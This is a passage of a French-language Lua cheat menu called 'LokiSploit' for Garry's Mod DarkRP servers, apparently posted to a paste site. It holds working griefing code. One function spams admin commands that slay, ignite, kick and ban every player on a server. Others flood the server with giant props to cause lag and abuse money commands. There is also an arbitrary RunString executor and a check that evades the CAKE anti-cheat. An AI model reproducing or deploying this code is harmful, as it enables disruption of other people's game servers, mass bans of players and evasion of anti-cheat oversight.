  5291. function Animation()
  5292. if !animating then
  5293. animating = "flex"
  5294. animatinginfo = "Flex"
  5295. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1616") end)
  5296. elseif animating=="flex" then
  5297. animating = "muscle"
  5298. animatinginfo = "Muscle"
  5299. timer.Destroy("animating")
  5300. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1617") end)
  5301. elseif animating=="muscle" then
  5302. animating = "reverence"
  5303. animatinginfo = "R�v�rence"
  5304. timer.Destroy("animating")
  5305. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1612") end)
  5306. elseif animating=="reverence" then
  5307. animating = "vient"
  5308. animatinginfo = "Vient"
  5309. timer.Destroy("animating")
  5310. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1611") end)
  5311. elseif animating=="vient" then
  5312. animating = "rire"
  5313. animatinginfo = "Rire"
  5314. timer.Destroy("animating")
  5315. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1618") end)
  5316. elseif animating=="rire" then
  5317. animating = "non"
  5318. animatinginfo = "Non"
  5319. timer.Destroy("animating")
  5320. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1613") end)
  5321. elseif animating=="non" then
  5322. animating = "victoire"
  5323. animatinginfo = "Victoire"
  5324. timer.Destroy("animating")
  5325. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1610") end)
  5326. elseif animating=="victoire" then
  5327. animating = "coucou"
  5328. animatinginfo = "Coucou"
  5329. timer.Destroy("animating")
  5330. timer.Create("animating", 2, 0, function() RunConsoleCommand("_DarkRP_DoAnimation", "1615") end)
  5331. elseif animating=="coucou" then
  5332. animating = false
  5333. animatinginfo = "D�sactiver"
  5334. timer.Destroy("animating")
  5335. end
  5336. end
  5337. function ULXspam ()
  5338. if !ulxspam then
  5339. ulxspam = "Slay"
  5340. info_ulx_spam = "Slay"
  5341. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx slay @") end)
  5342. elseif ulxspam=="Slay" then
  5343. ulxspam = "Ignite"
  5344. info_ulx_spam = "Ignite"
  5345. timer.Destroy("ulxspam")
  5346. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ignite @") end)
  5347. elseif ulxspam=="Ignite" then
  5348. ulxspam = "Maul"
  5349. info_ulx_spam = "Maul"
  5350. timer.Destroy("ulxspam")
  5351. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx maul @") end)
  5352. elseif ulxspam=="Maul" then
  5353. ulxspam = "Ragdoll"
  5354. info_ulx_spam = "Ragdoll"
  5355. timer.Destroy("ulxspam")
  5356. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ragdoll @") end)
  5357. elseif ulxspam=="Ragdoll" then
  5358. ulxspam = "Whip"
  5359. info_ulx_spam = "Whip"
  5360. timer.Destroy("ulxspam")
  5361. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx whip @ 100") end)
  5362. elseif ulxspam=="Whip" then
  5363. ulxspam = "Sound"
  5364. info_ulx_spam = "Sound"
  5365. timer.Destroy("ulxspam")
  5366. timer.Create("ulxspam", 3, 0, function() ply:ConCommand("ulx playsound earthquake.mp3") end)
  5367. elseif ulxspam=="Sound" then
  5368. ulxspam = "Kick"
  5369. info_ulx_spam = "Kick"
  5370. timer.Destroy("ulxspam")
  5371. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx kick @ 0 Go apprendre a proteger votre serv les enfants x)") end)
  5372. elseif ulxspam=="Kick" then
  5373. ulxspam = "Ban"
  5374. info_ulx_spam = "Ban"
  5375. timer.Destroy("ulxspam")
  5376. timer.Create("ulxspam", 0.4, 0, function() ply:ConCommand("ulx ban @ 0 Go apprendre a proteger votre serv les enfants x)") end)
  5377. elseif ulxspam then
  5378. ulxspam = false
  5379. info_ulx_spam = "D�sactiver"
  5380. timer.Destroy("ulxspam")
  5381. end
  5382. end
  5383. function PropSpam()
  5384. if !propspam then
  5385. propspam = "Vitesse 1"
  5386. spam_props_text = "Vitesse 1"
  5387. timer.Create("propspam", 3.50, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5388. timer.Create("propspam1", 2.00, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5389. elseif propspam=="Vitesse 1" then
  5390. propspam = "Vitesse 2"
  5391. spam_props_text = "Vitesse 2"
  5392. timer.Destroy("propspam")
  5393. timer.Destroy("propspam1")
  5394. timer.Create("propspam", 2.80, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5395. timer.Create("propspam1", 1.20, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5396. elseif propspam=="Vitesse 2" then
  5397. propspam = "Vitesse 3"
  5398. spam_props_text = "Vitesse 3"
  5399. timer.Destroy("propspam")
  5400. timer.Destroy("propspam1")
  5401. timer.Create("propspam", 0.88, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel2.mdl") end)
  5402. timer.Create("propspam1", 0.42, 0, function() ply:ConCommand("gm_spawn models/props_phx/wheels/metal_wheel1.mdl") end)
  5403. elseif propspam=="Vitesse 3" then
  5404. propspam = "Mega Spam"
  5405. spam_props_text = "Big-Spam"
  5406. timer.Destroy("propspam")
  5407. timer.Destroy("propspam1")
  5408. timer.Create("propspam", 0.4, 0, function()
  5409. ply:ConCommand("gm_spawn models/props_buildings/building_002a.mdl")
  5410. ply:ConCommand("gm_spawn models/props_buildings/collapsedbuilding01a.mdl")
  5411. ply:ConCommand("gm_spawn models/props_buildings/project_building01.mdl")
  5412. ply:ConCommand("gm_spawn models/props_buildings/row_church_fullscale.mdl")
  5413. ply:ConCommand("gm_spawn models/props_buildings/project_destroyedbuildings01.mdl")
  5414. ply:ConCommand("gm_spawn models/props_buildings/watertower_002a.mdl")
  5415. ply:ConCommand("models/props_buildings/project_destroyedbuildings01.mdl")
  5416. ply:ConCommand("models/props_wasteland/bridge_side03-other.mdl")
  5417. ply:ConCommand("models/props_wasteland/bridge_side03.mdl")
  5418. ply:ConCommand("models/props_wasteland/rockgranite04c.mdl")
  5419. ply:ConCommand("models/props_docks/prefab_piling01a.mdl")
  5420. ply:ConCommand("models/props_c17/overpass_001b.mdl")
  5421. ply:ConCommand("models/props_c17/overpass_001a.mdl")
  5422. ply:ConCommand("models/props_c17/overhaingcluster_001a.mdl")
  5423. ply:ConCommand("models/props_wasteland/tugtop001.mdl")
  5424. ply:ConCommand("models/props_wasteland/tugtop002.mdl")
  5425. end)
  5426. elseif propspam then
  5427. propspam = false
  5428. superspamingTabCol = red
  5429. spam_props_text = "D�sactiver"
  5430. timer.Destroy("propspam")
  5431. end
  5432. end
  5433. function Moneyssuperspam()
  5434. if !moneyspam then
  5435. moneyspam = "Drop"
  5436. billet_spam = "Drop 1�"
  5437. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1") end)
  5438. elseif moneyspam=="Drop" then
  5439. moneyspam = "Give1euro"
  5440. billet_spam = "Give 1�"
  5441. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1") end)
  5442. elseif moneyspam=="Give1euro" then
  5443. moneyspam = "Dropmillion"
  5444. billet_spam = "Drop 1 Million"
  5445. timer.Destroy("moneyspam")
  5446. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1000000") end)
  5447. elseif moneyspam=="Dropmillion" then
  5448. moneyspam = "Givemillion"
  5449. billet_spam = "Give 1 Million"
  5450. timer.Destroy("moneyspam")
  5451. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1000000") end)
  5452. elseif moneyspam=="Givemillion" then
  5453. moneyspam = "Dropmax"
  5454. billet_spam = "Drop 1 Milliard"
  5455. timer.Destroy("moneyspam")
  5456. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/moneydrop 1000000000") end)
  5457. elseif moneyspam=="Dropmax" then
  5458. moneyspam = "Give"
  5459. billet_spam = "Give 1 Milliard"
  5460. timer.Destroy("moneyspam")
  5461. timer.Create("moneyspam", 0.1, 0, function() RunConsoleCommand( "say", "/give 1000000000") end)
  5462. elseif moneyspam then
  5463. moneyspam = false
  5464. billet_spam = "D�sactiver"
  5465. timer.Destroy("moneyspam")
  5466. end
  5467. end
  5468. local removes = {"env_steam",
  5469. "func_illusionary",
  5470. "beam",
  5471. "class C_BaseEntity",
  5472. "env_sprite",
  5473. "class C_ShadowControl",
  5474. "class C_ClientRagdoll",
  5475. "func_illusionary",
  5476. "class C_PhysPropClientside",
  5477. }
  5478. function StopLAG()
  5479. if !stoplag then
  5480. stoplag = "Activer"
  5481. RunConsoleCommand("r_3dsky", 0)
  5482. RunConsoleCommand("r_WaterDrawReflection", 0)
  5483. RunConsoleCommand("r_waterforcereflectentities", 0)
  5484. RunConsoleCommand("r_teeth", 0)
  5485. RunConsoleCommand("r_shadows", 0)
  5486. RunConsoleCommand("r_ropetranslucent", 0)
  5487. RunConsoleCommand("r_maxmodeldecal", 0) --50
  5488. RunConsoleCommand("r_maxdlights", 0)--32
  5489. RunConsoleCommand("r_decals", 0)--2048
  5490. RunConsoleCommand("r_drawmodeldecals", 0)
  5491. RunConsoleCommand("r_drawdetailprops", 0)
  5492. RunConsoleCommand("r_worldlights", 0)
  5493. RunConsoleCommand("r_flashlightrender", 0)
  5494. RunConsoleCommand("cl_forcepreload", 1)
  5495. RunConsoleCommand("r_threaded_renderables", 1)
  5496. RunConsoleCommand("r_threaded_client_shadow_manager", 1)
  5497. RunConsoleCommand("snd_mix_async", 1)
  5498. RunConsoleCommand("cl_ejectbrass", 0)
  5499. RunConsoleCommand("cl_detaildist", 0)
  5500. RunConsoleCommand("cl_show_splashes", 0)
  5501. RunConsoleCommand("gmod_mcore_test", 1)
  5502. RunConsoleCommand("mat_filterlightmaps", 0)
  5503. RunConsoleCommand("mat_queue_mode", -1)
  5504. RunConsoleCommand("r_drawflecks", 0)
  5505. RunConsoleCommand("r_dynamic", 0)
  5506. RunConsoleCommand("r_WaterDrawRefraction", 0)
  5507. RunConsoleCommand("cl_threaded_bone_setup", 1)
  5508. ZNX.ChatText( "FPS Booster Activer", Color(255,205,205))
  5509. for k,v in pairs(removes) do
  5510. for a,b in pairs(ents.FindByClass(v)) do
  5511. b:SetNoDraw(true)
  5512. end
  5513. end
  5514. elseif stoplag then
  5515. stoplag = false
  5516. RunConsoleCommand("r_3dsky", 0)
  5517. RunConsoleCommand("r_WaterDrawReflection", 1)
  5518. RunConsoleCommand("r_waterforcereflectentities", 1)
  5519. RunConsoleCommand("r_teeth", 1)
  5520. RunConsoleCommand("r_shadows", 1)
  5521. RunConsoleCommand("r_ropetranslucent", 1)
  5522. RunConsoleCommand("r_maxmodeldecal", 50) --50
  5523. RunConsoleCommand("r_maxdlights", 32)--32
  5524. RunConsoleCommand("r_decals", 2048)--2048
  5525. RunConsoleCommand("r_drawmodeldecals", 1)
  5526. RunConsoleCommand("r_drawdetailprops", 1)
  5527. RunConsoleCommand("r_decal_cullsize", 1000)
  5528. RunConsoleCommand("r_worldlights", 1)
  5529. RunConsoleCommand("r_flashlightrender", 1)
  5530. RunConsoleCommand("cl_forcepreload", 0)
  5531. RunConsoleCommand("cl_ejectbrass", 1)
  5532. RunConsoleCommand("cl_show_splashes", 1)
  5533. RunConsoleCommand("cl_detaildist", 1200)
  5534. RunConsoleCommand("gmod_mcore_test", 1)
  5535. RunConsoleCommand("mat_filterlightmaps", 1)
  5536. RunConsoleCommand("r_threaded_renderables", 0)
  5537. RunConsoleCommand("r_threaded_client_shadow_manager", 0)
  5538. RunConsoleCommand("mat_queue_mode", -1)
  5539. RunConsoleCommand("r_drawflecks", 1)
  5540. RunConsoleCommand("r_WaterDrawRefraction", 1)
  5541. RunConsoleCommand("cl_threaded_bone_setup", 1)
  5542. RunConsoleCommand("r_dynamic", 1)
  5543. ZNX.ChatText( "FPS Booster D�sactiver", Color(255,205,205))
  5544. for k,v in pairs(removes) do
  5545. for a,b in pairs(ents.FindByClass(v)) do
  5546. b:SetNoDraw(false)
  5547. end
  5548. end
  5549. end
  5550. end
  5551. function physicgunspeed ()
  5552. if !physicspeed then
  5553. physicspeed = true
  5554. RunConsoleCommand("physgun_wheelspeed", 9999)
  5555. ChatPrint("Vitesse du Physic-Gun: 9999")
  5556. elseif physicspeed then
  5557. physicspeed = false
  5558. RunConsoleCommand("physgun_wheelspeed", 10)
  5559. ChatPrint("Vitesse du Physic-Gun: 10")
  5560. end
  5561. end
  5562. function umsghook(ucmd)
  5563. if ZNX.Vars.AutoReload then
  5564. local wep = LocalPlayer():GetActiveWeapon()
  5565. if (LocalPlayer():Alive() and IsValid(wep)) then
  5566. if (wep:Clip1() <= 1 and wep:GetMaxClip1() > 0 and !table.HasValue(shitweapons, LocalPlayer():GetActiveWeapon():GetClass()) and CurTime() > wep:GetNextPrimaryFire()) then
  5567. ucmd:SetButtons(ucmd:GetButtons() + IN_RELOAD)
  5568. end
  5569. end
  5570. end
  5571. if( ZNX.Vars.Autoclick and !ZNX.Vars.RopeStorm and !ZNX.Vars.Triggerbot and !ZNX.Vars.AutoShoot) then
  5572. local Wep = LocalPlayer():GetActiveWeapon()
  5573. if (LocalPlayer():Alive() and IsValid(Wep)) then
  5574. if ZNX.Vars.AutoReload then maxclipsizaautoreload = 1 else maxclipsizaautoreload = 0 end
  5575. if Wep:GetMaxClip1() > 0 and Wep:Clip1() > maxclipsizaautoreload then
  5576. if (input.IsMouseDown(MOUSE_LEFT)) then
  5577. if (Wep:GetNextPrimaryFire() >= CurTime()) then
  5578. ucmd:RemoveKey(IN_ATTACK)
  5579. end
  5580. end
  5581. end
  5582. end
  5583. end
  5584. end
  5585. hook.Add("CreateMove","Reload",umsghook)
  5586. function ExecuteCmd( contents )
  5587. RunString( contents )
  5588. end
  5589. -- A Jour :
  5590.  
  5591. timer.Create("timerversionchecker",10,1,function()
  5592. hook.Remove("HUDPaint", "HudVersionChecker")
  5593. end)
  5594. hook.Add("HUDPaint", "HudVersionChecker", function()
  5595. draw.SimpleTextOutlined( "Bonjour "..steamworks.GetPlayerName( LocalPlayer():SteamID64() )..", tu as la derni�re version du menu", "HUDLogo2", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/30, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,255) )
  5596. end)
  5597. local hideHUDElements = {
  5598. ["DarkRP_HUD"] = false,
  5599. ["DarkRP_LocalPlayerHUD"] = false,
  5600. ["DarkRP_EntityDisplay"] = true,
  5601. ["DarkRP_ZombieInfo"] = false,
  5602. ["DarkRP_Hungermod"] = false,
  5603. ["DarkRP_Agenda"] = false,
  5604. ["CHudHealth"] = true,
  5605. ["CHudBattery"] = true,
  5606. ["CHudSuitPower"] = true,
  5607. ["CHudAmmo"] = false,
  5608. ["CHudSecondaryAmmo"] = false,
  5609. }
  5610. hook.Add("HUDShouldDraw", "GraphiteHideDef", function(name)
  5611. if hideHUDElements[name] then return false end
  5612. end)
  5613. -- D�but code d�t�ctable par cac
  5614. else -- ne pas toucher cac check else
  5615. for i = 1, 30 do
  5616. MsgC( Color( 255, 0, 0 ), "[LokiSploit]: !! CAKE ANTI-CHEAT !! DETECTER MENU DESACTIVE POUR EVITER LE KICK/BAN" )
  5617. end
  5618. end -- ne pas toucher cac checker end
  5619. -- Fin code d�t�ctable par cac
Add Comment
Please, Sign In to add comment